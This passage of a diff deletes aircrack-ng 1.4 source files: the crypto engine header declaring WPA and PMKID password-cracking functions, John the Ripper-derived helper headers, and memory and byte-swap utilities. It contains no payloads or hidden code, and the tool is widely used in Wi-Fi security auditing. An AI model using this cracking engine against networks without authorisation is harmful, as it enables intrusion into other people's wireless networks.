-COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, pmk)) == 0);
-COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, hash1)
-					 % CACHELINE_SIZE)
-					== 0);
-COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, crypt1)
-					 % CACHELINE_SIZE)
-					== 0);
-COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, crypt2)
-					 % (CACHELINE_SIZE / 2))
-					== 0);
-COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, ptk)
-					 % CACHELINE_SIZE)
-					== 0);
-COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, pke)
-					 % CACHELINE_SIZE)
-					== 0);
-
-struct ac_crypto_engine
-{
-	uint8_t ** essid;
-	uint32_t essid_length;
-
-	struct ac_crypto_engine_perthread * thread_data[MAX_THREADS];
-};
-
-typedef struct ac_crypto_engine ac_crypto_engine_t;
-
-/// The compiled-in features required to correctly execute on host.
-IMPORT int ac_crypto_engine_supported_features(void);
-
-/// global init. this could initialize threadid 1, but...
-IMPORT int ac_crypto_engine_init(ac_crypto_engine_t * engine);
-IMPORT void ac_crypto_engine_destroy(ac_crypto_engine_t * engine);
-
-IMPORT void ac_crypto_engine_set_essid(ac_crypto_engine_t * engine,
-									   const uint8_t * essid);
-
-IMPORT uint8_t *
-ac_crypto_engine_get_pmk(ac_crypto_engine_t * engine, int threadid, int index);
-
-IMPORT uint8_t *
-ac_crypto_engine_get_ptk(ac_crypto_engine_t * engine, int threadid, int index);
-
-IMPORT void ac_crypto_engine_calc_pke(ac_crypto_engine_t * engine,
-									  const uint8_t bssid[6],
-									  const uint8_t stmac[6],
-									  const uint8_t anonce[32],
-									  const uint8_t snonce[32],
-									  int threadid);
-
-IMPORT void ac_crypto_engine_set_pmkid_salt(ac_crypto_engine_t * engine,
-											const uint8_t bssid[6],
-											const uint8_t stmac[6],
-											int threadid);
-
-/// per-thread-in-use init. separate to allow (possible) NUMA-local allocation.
-IMPORT int ac_crypto_engine_thread_init(ac_crypto_engine_t * engine,
-										int threadid);
-IMPORT void ac_crypto_engine_thread_destroy(ac_crypto_engine_t * engine,
-											int threadid);
-
-/// acquire the width of simd we're compiled for.
-IMPORT int ac_crypto_engine_simd_width(void);
-
-IMPORT void ac_crypto_engine_calc_pmk(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	int nparallel,
-	int threadid);
-
-IMPORT void ac_crypto_engine_calc_ptk(ac_crypto_engine_t * engine,
-									  const uint8_t keyver,
-									  int vectorIdx,
-									  int threadid);
-
-IMPORT void ac_crypto_engine_calc_mic(ac_crypto_engine_t * engine,
-									  const uint8_t eapol[256],
-									  uint32_t eapol_size,
-									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
-												 [20],
-									  uint8_t keyver,
-									  int vectorIdx,
-									  int threadid);
-
-IMPORT int ac_crypto_engine_wpa_crack(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t eapol[256],
-	uint32_t eapol_size,
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	uint8_t keyver,
-	const uint8_t cmpmic[20],
-	int nparallel,
-	int threadid);
-
-IMPORT int ac_crypto_engine_wpa_pmkid_crack(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t pmkid[32],
-	int nparallel,
-	int threadid);
-
-// Quick Utilities.
-
-/// Calculate one pairwise master key, from the \a essid and \a key.
-IMPORT void ac_crypto_engine_calc_one_pmk(const uint8_t * key,
-										  const uint8_t * essid,
-										  uint32_t essid_length,
-										  uint8_t pmk[40]);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // AIRCRACK_NG_CRYPTO_ENGINE_H

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/jcommon.h Deleted

@@ -1,121 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-99,2005,2009,2011,2013 by Solar Designer
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-/*
- * Things common to many ciphertext formats.
- */
-
-#ifndef _JCOMMON_H
-#define _JCOMMON_H
-
-#include "arch.h"
-#include "memory.h"
-
-#if ARCH_INT_GT_32
-typedef unsigned short ARCH_WORD_32;
-typedef unsigned int ARCH_WORD_64;
-#else
-typedef unsigned int ARCH_WORD_32;
-typedef unsigned long long ARCH_WORD_64;
-#endif
-
-/* ONLY use this to check alignments of even power of 2 (2, 4, 8, 16, etc) byte
-   counts (CNT).
-   The cast to void* MUST be done, due to C spec.
-   http://stackoverflow.com/a/1898487 */
-#define is_aligned(PTR, CNT)                                                   \
-	((((ARCH_WORD)(const void *) (PTR)) & (CNT - 1)) == 0)
-
-#ifdef __GNUC__
-#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 7)                     \
-	|| defined(__INTEL_COMPILER)
-#define MAYBE_INLINE __attribute__((always_inline)) inline
-#elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
-#define MAYBE_INLINE __attribute__((always_inline))
-#else
-#define MAYBE_INLINE __inline__
-#endif
-#elif __STDC_VERSION__ >= 199901L
-#define MAYBE_INLINE inline
-#else
-#define MAYBE_INLINE
-#endif
-
-#if ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 2)
-#define CC_CACHE_ALIGN __attribute__((aligned(MEM_ALIGN_CACHE)))
-#else
-#define CC_CACHE_ALIGN /* nothing */
-#endif
-
-/*
- * This "shift" is the number of bytes that may be inserted between arrays the
- * size of which would be a multiple of cache line size (some power of two) and
- * that might be accessed simultaneously.  The purpose of the shift is to avoid
- * cache bank conflicts with such accesses, actually allowing them to proceed
- * simultaneously.  This number should be a multiple of the machine's word size
- * but smaller than cache line size.
- */
-#define CACHE_BANK_SHIFT ARCH_SIZE
-
-/*
- * ASCII <-> binary conversion tables.
- */
-// extern const char itoa64[64]; /* crypt(3) base64 - not MIME Base64! */
-extern char atoi64[0x100];
-extern const char itoa16[16];
-extern char atoi16[0x100];
-extern const char itoa16u[16]; // uppercase
-
-/*
- * Initializes the tables.
- */
-extern void common_init(void);
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/johnswap.h Deleted

@@ -1,137 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- */
-#if !defined __JOHN_SWAP_H__
-#define __JOHN_SWAP_H__
-
-/* reqired for the john_bswap_32 ARCH_WORD_32 declaration */
-#include "jcommon.h"
-
-/* if x86 compatible cpu */
-#if defined(i386) || defined(__i386__) || defined(__i486__)                    \
-	|| defined(__i586__) || defined(__i686__) || defined(__pentium__)          \
-	|| defined(__pentiumpro__) || defined(__pentium4__) || defined(__nocona__) \
-	|| defined(prescott) || defined(__core2__) || defined(__k6__)              \
-	|| defined(__k8__) || defined(__athlon__) || defined(__amd64)              \
-	|| defined(__amd64__) || defined(__x86_64) || defined(__x86_64__)          \
-	|| defined(_M_IX86) || defined(_M_AMD64) || defined(_M_IA64)               \
-	|| defined(_M_X64)
-/* detect if x86-64 instruction set is supported */
-#if defined(_LP64) || defined(__LP64__) || defined(__x86_64)                   \
-	|| defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64)
-#undef CPU_X64
-#define CPU_X64 1
-#else
-#undef CPU_IA32
-#define CPU_IA32 1
-#endif
-#undef CPU_INTEL_LE
-#define CPU_INTEL_LE 1
-#endif
-
-#if defined __GNUC__                                                           \
-	&& ((__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || (__GNUC__ > 4))
-#define JOHNSWAP(x) __builtin_bswap32((x))
-#define JOHNSWAP64(x) __builtin_bswap64((x))
-#elif defined(__linux__)
-#include <byteswap.h>
-#define JOHNSWAP(x) bswap_32((x))
-#define JOHNSWAP64(x) bswap_64((x))
-#elif (_MSC_VER > 1300)                                                        \
-	&& (_M_IX86 >= 400 || defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */
-#define JOHNSWAP(x) _byteswap_ulong((x))
-#define JOHNSWAP64(x) _byteswap_uint64(((unsigned __int64) x))
-#elif !defined(__STRICT_ANSI__)
-#define JOHNSWAP(x) john_bswap_32((x))
-#define JOHNSWAP64(x) john_bswap_64((x))
-#define ROTATE_LEFT(x, n)                                                      \
-	(x) = (((x) << (n)) | ((ARCH_WORD_32)(x) >> (32 - (n))))
-#define ROTATE_LEFT64(x, n)                                                    \
-	(x) = (((x) << (n)) | ((unsigned long long) (x) >> (64 - (n))))
-#if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__)
-/* for intel x86 CPU */
-static inline ARCH_WORD_32 __attribute__((const))
-john_bswap_32(ARCH_WORD_32 val)
-{
-	register ARCH_WORD_32 res;
-	__asm("bswap\t%0" : "=r"(res) : "0"(val));
-	return res;
-}
-#else
-/* Note, the name bswap_32 clashed with a less efficient bswap_32 in gcc 3.4. */
-/* Thus, we now call it john_bswap_32 to take 'ownership' */
-static inline ARCH_WORD_32 john_bswap_32(ARCH_WORD_32 x)
-{
-	/* Since this is an inline function, we do not have to worry about */
-	/* multiple reference of x.  Even though we are called from a macro */
-	/* this inline hides problems even with usage like  n=SWAP(*cp++); */
-	ROTATE_LEFT(x, 16);
-	return ((x & 0x00FF00FF) << 8) | ((x >> 8) & 0x00FF00FF);
-}
-#endif
-static inline unsigned long long john_bswap_64(unsigned long long x)
-{
-#if ARCH_BITS == 32
-	union {
-		unsigned long long ll;
-		ARCH_WORD_32 l[2];
-	} w, r;
-	w.ll = x;
-	r.l[0] = john_bswap_32(w.l[1]);
-	r.l[1] = john_bswap_32(w.l[0]);
-	return r.ll;
-#else
-	// Someone should write a 'proper' 64 bit bswap, for 64 bit arch
-	// for now, I am using the '32 bit' version I wrote above.
-	union {
-		unsigned long long ll;
-		ARCH_WORD_32 l[2];
-	} w, r;
-	w.ll = x;
-	r.l[0] = john_bswap_32(w.l[1]);
-	r.l[1] = john_bswap_32(w.l[0]);
-	return r.ll;
-#endif
-}
-#endif
-
-#endif // __JOHN_SWAP_H__

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/md5.h Deleted

@@ -1,71 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This is an OpenSSL-compatible implementation of the RSA Data Security,
- * Inc. MD5 Message-Digest Algorithm (RFC 1321).
- *
- * Written by Solar Designer <solar at openwall.com> in 2001, and placed
- * in the public domain.  There's absolutely no warranty.
- *
- * See md5.c for more information.
- *
- * This file has been modified in the JtR jumbo patch.
- * If you reuse the code for another purpose, please download the original from:
- * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
- */
-
-#if !defined(_MD5_H)
-#define _MD5_H
-
-/* Any 32-bit or wider unsigned integer data type will do */
-/* this needs to be defined no matter if building with HAVE_LIBSSL or not */
-typedef unsigned int MD5_u32plus;
-
-#include "arch.h"
-#ifdef SIMD_PARA_MD5
-#ifndef USE_GCRYPT
-#include <openssl/md5.h>
-#else
-#include "gcrypt-openssl-wrapper.h"
-#endif
-#endif
-
-#endif /* _MD5_H */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/memory.c Deleted

@@ -1,836 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This file is part of John the Ripper password cracker,
- * Copyright (c) 1996-98,2010,2012 by Solar Designer
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * There's ABSOLUTELY NO WARRANTY, express or implied.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <ctype.h> /* for isprint() */
-#if HAVE_MEMALIGN && HAVE_MALLOC_H
-#include <malloc.h>
-#endif
-
-#include "arch.h"
-#include "misc.h"
-#include "memory.h"
-#include "jcommon.h"
-#include "johnswap.h"
-#include "memdbg.h"
-
-#if defined(_MSC_VER) && !defined(MEMDBG_ON)
-#define malloc(a) _aligned_malloc(a, 16)
-#define realloc(a, b) _aligned_realloc(a, b, 16)
-#define calloc(a, b) memset(_aligned_malloc(a * b, 16), 0, a * b)
-#define free(a) _aligned_free(a)
-char * strdup_MSVC(const char * str)
-{
-	char * s;
-	s = (char *) mem_alloc_func(strlen(str) + 1);
-	if (s != NULL) strcpy(s, str);
-	return s;
-}
-#endif
-
-unsigned int mem_saving_level = 0;
-
-// Add 'cleanup' methods for the mem_alloc_tiny.  VERY little cost, but
-// allows us to check for mem leaks easier.
-struct rm_list
-{
-	void * mem;
-	struct rm_list * next;
-};
-static struct rm_list * mem_alloc_tiny_memory;
-
-static void add_memory_link(void * v)
-{
-	struct rm_list * p = (struct rm_list *) mem_alloc(sizeof(struct rm_list));
-	p->next = mem_alloc_tiny_memory;
-	p->mem = v;
-	mem_alloc_tiny_memory = p;
-	// mark these as 'tiny' memory, so that memory snapshot checking does not
-	// flag these as leaks.  At program exit, this memory will still get
-	// checked,
-	// but it should be freed, so will still be globally checked for leaks.
-	MEMDBG_tag_mem_from_alloc_tiny(v);
-	MEMDBG_tag_mem_from_alloc_tiny((void *) p);
-}
-// call at program exit.
-void cleanup_tiny_memory(void)
-{
-	struct rm_list *p = mem_alloc_tiny_memory, *p2;
-	for (;;)
-	{
-		if (!p) return;
-		free(p->mem);
-		p2 = p->next;
-		free(p);
-		p = p2;
-	}
-}
-
-void * mem_alloc_func(size_t size
-#if defined(MEMDBG_ON)
-					  ,
-					  char * file,
-					  int line
-#endif
-					  )
-{
-	void * res;
-
-	if (!size) return NULL;
-#if defined(MEMDBG_ON)
-	res = (char *) MEMDBG_alloc(size, file, line);
-#else
-	res = malloc(size);
-#endif
-	if (!res)
-	{
-		fprintf(stderr,
-				"mem_alloc(): %s trying to allocate " Zu " bytes\n",
-				strerror(ENOMEM),
-				size);
-		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
-		perror("mem_alloc");
-	}
-
-	return res;
-}
-
-void * mem_calloc_func(size_t count,
-					   size_t size
-#if defined(MEMDBG_ON)
-					   ,
-					   char * file,
-					   int line
-#endif
-					   )
-{
-	void * res;
-
-	if (!count || !size) return NULL;
-#if defined(MEMDBG_ON)
-	size *= count;
-	res = (char *) MEMDBG_alloc(size, file, line);
-	memset(res, 0, size);
-#else
-	res = calloc(count, size);
-#endif
-	if (!res)
-	{
-		fprintf(stderr,
-				"mem_calloc(): %s trying to allocate " Zu " bytes\n",
-				strerror(ENOMEM),
-				count * size);
-		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
-		perror("mem_calloc");
-	}
-
-	return res;
-}
-
-/*
- * if -DDEBUG we turn mem_alloc_tiny() to essentially be just a malloc()
- * with additional alignment. The reason for this is it's way easier to
- * trace bugs that way.
- * Also, with -DDEBUG or -DMEMDBG we always return exactly the requested
- * alignment, in order to trigger bugs!
- */
-#ifdef DEBUG
-#undef MEM_ALLOC_SIZE
-#define MEM_ALLOC_SIZE 0
-#endif
-void * mem_alloc_tiny_func(size_t size,
-						   size_t align
-#if defined(MEMDBG_ON)
-						   ,
-						   char * file,
-						   int line
-#endif
-						   )
-{
-	static char * buffer = NULL;
-	static size_t bufree = 0;
-	size_t mask;
-	char * p;
-
-#if defined(DEBUG) || defined(MEMDBG)
-	size += align;
-#endif
-#ifdef DEBUG
-	/*
-	 * We may be called with size zero, for example from ldr_load_pw_line()
-	 * that calls mem_alloc_copy() with format->params.salt_size as size.
-	 * This causes problems with -DDEBUG without this fix because we never
-	 * get out of the while loop when MEM_ALLOC_SIZE is zero too. The
-	 * previous fix for this was returning NULL but that lead to other
-	 * problems that I did not bother digging into. This fix should be
-	 * 100% safe.
-	 */
-	if (size == 0) size = 1;
-#endif
-
-#if ARCH_ALLOWS_UNALIGNED
-	if (mem_saving_level > 2 && align < MEM_ALIGN_SIMD) align = MEM_ALIGN_NONE;
-#endif
-
-	mask = align - 1;
-
-	do
-	{
-		if (buffer)
-		{
-			size_t need = size + mask - (((size_t) buffer + mask) & mask);
-			if (bufree >= need)
-			{
-				p = buffer;
-				p += mask;
-				p -= (size_t) p & mask;
-				bufree -= need;
-				buffer = p + size;
-#if defined(DEBUG) || defined(MEMDBG)
-				/* Ensure alignment is no better than requested */
-				if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
-#endif
-				return p;
-			}
-		}
-
-		if (size + mask > MEM_ALLOC_SIZE || bufree > MEM_ALLOC_MAX_WASTE) break;
-#if defined(MEMDBG_ON)
-		buffer = (char *) mem_alloc_func(MEM_ALLOC_SIZE, file, line);
-#else
-		buffer = (char *) mem_alloc(MEM_ALLOC_SIZE);
-#endif
-		add_memory_link((void *) buffer);
-		bufree = MEM_ALLOC_SIZE;
-	} while (1);
-
-#if defined(MEMDBG_ON)
-	p = (char *) mem_alloc_func(size + mask, file, line);
-#else
-	p = (char *) mem_alloc(size + mask);
-#endif
-	add_memory_link((void *) p);
-	p += mask;
-	p -= (size_t) p & mask;
-#if defined(DEBUG) || defined(MEMDBG)
-	/* Ensure alignment is no better than requested */
-	if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
-#endif
-	return p;
-}
-
-void * mem_calloc_tiny_func(size_t size,
-							size_t align
-#if defined(MEMDBG_ON)
-							,
-							char * file,
-							int line
-#endif
-							)
-{
-#if defined(MEMDBG_ON)
-	char * cp = (char *) mem_alloc_tiny_func(size, align, file, line);
-#else
-	char * cp = (char *) mem_alloc_tiny(size, align);
-#endif
-	memset(cp, 0, size);
-	return cp;
-}
-
-void * mem_alloc_copy_func(void * src,
-						   size_t size,
-						   size_t align
-#if defined(MEMDBG_ON)
-						   ,
-						   char * file,
-						   int line
-#endif
-						   )
-{
-#if defined(MEMDBG_ON)
-	return memcpy(mem_alloc_tiny_func(size, align, file, line), src, size);
-#else
-	return memcpy(mem_alloc_tiny(size, align), src, size);
-#endif
-}
-
-void * mem_alloc_align_func(size_t size,
-							size_t align
-#if defined(MEMDBG_ON)
-							,
-							char * file,
-							int line
-#endif
-							)
-{
-	void * ptr = NULL;
-#if defined(MEMDBG_ON)
-	ptr = (char *) MEMDBG_alloc_align(size, align, file, line);
-#elif HAVE_POSIX_MEMALIGN
-	if (posix_memalign(&ptr, align, size)) pexit("posix_memalign");
-#elif HAVE_ALIGNED_ALLOC
-	/* According to the Linux man page, "size should be a multiple of
-	   alignment", whatever they mean with "should"... This does not
-	   make any sense whatsoever but we round it up to comply. */
-	size = ((size + (align - 1)) / align) * align;
-	if (!(ptr = aligned_alloc(align, size))) pexit("aligned_alloc");
-#elif HAVE_MEMALIGN
-/* Let's just pray this implementation can actually free it */
-#if defined(__sparc__) || defined(__sparc) || defined(sparc)                   \
-	|| defined(__sparcv9)
-	if (!(ptr = memalign(align, size)))
-#else
-	if (!(ptr = memalign(&ptr, align, size)))
-#endif
-		perror("memalign");
-#elif HAVE___MINGW_ALIGNED_MALLOC
-	if (!(ptr = __mingw_aligned_malloc(size, align)))
-		perror("__mingw_aligned_malloc");
-#elif HAVE__ALIGNED_MALLOC
-	if (!(ptr = _aligned_malloc(size, align))) perror("aligned_malloc");
-
-#elif AC_BUILT
-#error No suitable aligned alloc found, please report to john-dev mailing list (state your OS details).
-
-/* we need an aligned alloc function for legacy builds */
-#elif _ISOC11_SOURCE
-	size = ((size + (align - 1)) / align) * align;
-	if (!(ptr = aligned_alloc(align, size))) perror("aligned_alloc");
-#else
-	if (posix_memalign(&ptr, align, size)) perror("posix_memalign");
-#endif
-	return ptr;
-}
-
-void * mem_calloc_align_func(size_t count,
-							 size_t size,
-							 size_t align
-#if defined(MEMDBG_ON)
-							 ,
-							 char * file,
-							 int line
-#endif
-							 )
-{
-#if defined(MEMDBG_ON)
-	void * ptr = mem_alloc_align_func(size * count, align, file, line);
-#else
-	void * ptr = mem_alloc_align_func(size * count, align);
-#endif
-
-	memset(ptr, 0, size * count);
-	return ptr;
-}
-
-char * str_alloc_copy_func(char * src
-#if defined(MEMDBG_ON)
-						   ,
-						   char * file,
-						   int line
-#endif
-						   )
-{
-	size_t size;
-
-	if (!src) return "";
-	if (!*src) return "";
-
-	size = strlen(src) + 1;
-#if defined(MEMDBG_ON)
-	return (char *) memcpy(
-		mem_alloc_tiny_func(size, MEM_ALIGN_NONE, file, line), src, size);
-#else
-	return (char *) memcpy(mem_alloc_tiny(size, MEM_ALIGN_NONE), src, size);
-#endif
-}
-
-void dump_text(void * in, int len)
-{
-	unsigned char * p = (unsigned char *) in;
-
-	while (len--)
-	{
-		fputc(isprint(*p) ? *p : '.', stdout);
-		p++;
-	}
-	fputc('\n', stdout);
-}
-
-void dump_stuff_noeol(void * x, unsigned int size)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) x)[i]);
-		if ((i % 4) == 3) printf(" ");
-	}
-}
-void dump_stuff(void * x, unsigned int size)
-{
-	dump_stuff_noeol(x, size);
-	printf("\n");
-}
-void dump_stuff_msg(const void * msg, void * x, unsigned int size)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff(x, size);
-}
-void dump_stuff_msg_sepline(const void * msg, void * x, unsigned int size)
-{
-	printf("%s :\n", (char *) msg);
-	dump_stuff(x, size);
-}
-
-void dump_stuff_be_noeol(void * x, unsigned int size)
-{
-	unsigned int i;
-	for (i = 0; i < size; i++)
-	{
-		printf("%.2x", ((unsigned char *) x)[i ^ 3]);
-		if ((i % 4) == 3) printf(" ");
-	}
-}
-void dump_stuff_be(void * x, unsigned int size)
-{
-	dump_stuff_be_noeol(x, size);
-	printf("\n");
-}
-void dump_stuff_be_msg(const void * msg, void * x, unsigned int size)
-{
-	printf("%s : ", (char *) msg);
-	dump_stuff_be(x, size);
-}
-void dump_stuff_be_msg_sepline(const void * msg, void * x, unsigned int size)
-{
-	printf("%s :\n", (char *) msg);
-	dump_stuff_be(x, size);
-}
-
-void alter_endianity(void * _x, unsigned int size)
-{
-	ARCH_WORD_32 * x = (ARCH_WORD_32 *) _x;
-
-	// size is in octets
-	size >>= 2;
-
-#if !ARCH_ALLOWS_UNALIGNED
-	if (is_aligned(x, sizeof(ARCH_WORD_32)))
-	{
-#endif
-		while (size--)
-		{
-			*x = JOHNSWAP(*x);
-			x++;
-		}
-#if !ARCH_ALLOWS_UNALIGNED
-	}
-	else
-	{
-		unsigned char *cpX, c;
-
-		cpX = (unsigned char *) x;
-		while (size--)
-		{
-			c = *cpX;
-			*cpX = cpX[3];
-			cpX[3] = c;
-			c = cpX[1];
-			cpX[1] = cpX[2];
-			cpX[2] = c;
-			cpX += 4;
-		}
-	}
-#endif
-}
-
-#if defined(SIMD_COEF_32) || defined(NT_X86_64) || defined(SIMD_PARA_MD5)      \
-	|| defined(SIMD_PARA_MD4) || defined(SIMD_PARA_SHA1)
-#ifndef SIMD_COEF_32
-#define SIMD_COEF_32 4
-#endif
-#ifndef SIMD_COEF_64
-#define SIMD_COEF_64 2
-#endif
-#ifndef SIMD_COEF_32
-#define SIMD_COEF_32 4
-#endif
-
-// These work for standard SIMD_COEF_32 buffers, AND for SSEi MMX_PARA multiple
-// SIMD_COEF_32 blocks, where index will be mod(X * SIMD_COEF_32) and not simply
-// mod(SIMD_COEF_32)
-#define SHAGETPOS(i, index)                                                    \
-	((index & (SIMD_COEF_32 - 1)) * 4                                          \
-	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
-	 + (3 - ((i) &3))                                                          \
-	 + (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ * 4                   \
-		   * SIMD_COEF_32) // for endianity conversion
-#define SHAGETOUTPOS(i, index)                                                 \
-	((index & (SIMD_COEF_32 - 1)) * 4                                          \
-	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
-	 + (3 - ((i) &3))                                                          \
-	 + (unsigned int) index / SIMD_COEF_32 * 20                                \
-		   * SIMD_COEF_32) // for endianity conversion
-// for MD4/MD5 or any 64 byte LE SSE interleaved hash
-#define GETPOS(i, index)                                                       \
-	((index & (SIMD_COEF_32 - 1)) * 4                                          \
-	 + ((i) & (0xffffffff - 3)) * SIMD_COEF_32                                 \
-	 + ((i) &3)                                                                \
-	 + (unsigned int) index / SIMD_COEF_32 * 64 * SIMD_COEF_32)
-#define GETOUTPOS(i, index)                                                    \
-	((index & (SIMD_COEF_32 - 1)) * 4                                          \
